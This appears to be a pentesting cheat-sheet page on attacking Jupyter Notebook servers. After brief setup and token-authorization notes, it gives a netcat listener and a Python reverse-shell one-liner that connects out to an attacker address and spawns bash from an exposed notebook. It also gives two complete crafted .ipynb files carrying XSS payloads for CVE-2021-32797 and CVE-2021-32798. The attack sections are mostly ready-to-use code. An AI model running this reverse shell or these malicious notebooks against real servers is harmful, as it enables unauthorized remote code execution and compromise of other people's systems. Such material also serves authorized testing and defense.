Jupyter Notebook Pentesting

Last modified: 2023-06-19

Machine Learning

Jupyter notebook is a web-based interactive computing platform. It’s often used for machine learning, data science, etc. It runs locally at 127.0.0.1:8888 by default.

Run Notebook Server Locally

# For Jupyterlab (more advanced than notebook)
pip install jupyterlab
jupyter-lab
# Specify the token
jupyter-lab --NotebookApp.token=abcdef...

# For Notebook (classic)
pip install notebook
jupyter notebook
# Specify the token
jupyter notebook --NotebookApp.token=abcdef...

After that, we can access to http://127.0.0.1:8888/ in browser.


Authorization with Token

Reference: https://jupyter-notebook.readthedocs.io/en/stable/security.html

If we have the token for Jupyter notebook server, we can authorize it by adding the token in the “Authorization” HTTP header.

Authorization: token abcdef...

Or we can also add the token to URL parameter.

https://my-notebook/tree/?token=abcdef...

Or directly input the login form.


Common Directories

/api/kernelspecs

Remote Code Execution (RCE)

If the target machine opens the Jupyter notebook server then we can access to it from outside, we can simply execute arbitrary Python script in notebook. In short, we can get a shell by reverse shell!
First off, start a listener in local machine.

nc -lvnp 4444

After that, open some .ipynb file in Jupyter notebook top page, then input the following script and run.

import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

We should get a shell in local terminal.


.ipynb RCE (CVE-2021-32797, CVE-2021-32798)

Reference: https://github.com/google/security-research/security/advisories/GHSA-c469-p3jp-2vhx

We can inject arbitrary code in .ipynb file. Create the following file e.g. “exploit.ipynb” then upload it to Jupyter Notebook directory.

  • Jupyter Notebook
{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<select><iframe></select><img src=x: onerror=alert('xss')>\n"],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    ""
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
  • Jupyter Lab
{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<label for=buttonid style=\"cursor: text\">not safe to click here</label>\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "highlighter": "codemirror"
   },
   "source": "<div class=\"jp-InputArea-editor\"><div class=\"CodeMirror cm-s-jupyter\"><div class=\"CodeMirror-scroll\"><div class=\"CodeMirror-sizer\"><div style=\"top:0px; position:relative\"><div class=\"CodeMirror-lines\"><div style=\"outline:none; position:relative\"><div class=\"CodeMirror-code\"><div style=\"position: relative\"><label for=buttonid style=\"cursor: text\"><pre class=\"CodeMirror-line\" style=\"background:transparent\"><span style=\"padding-right: 0.1px\"><span class=\"cm-builtin\">print</span>(<span class=\"cm-string\">&quot;Also not safe to click here&quot;</span>)</span></pre></label></div></div></div></div></div></div></div></div></div>"
  },
  {
   "cell_type": "code",
   "execution_count": 0,
   "metadata": {
    "xrender": true
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<form id=jp-mk-edit action='javascript:alert(1)' style='display:none'><button type=submit id=buttonid></form>\n"
      ],
      "text/plain": []
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": ""
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.6"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}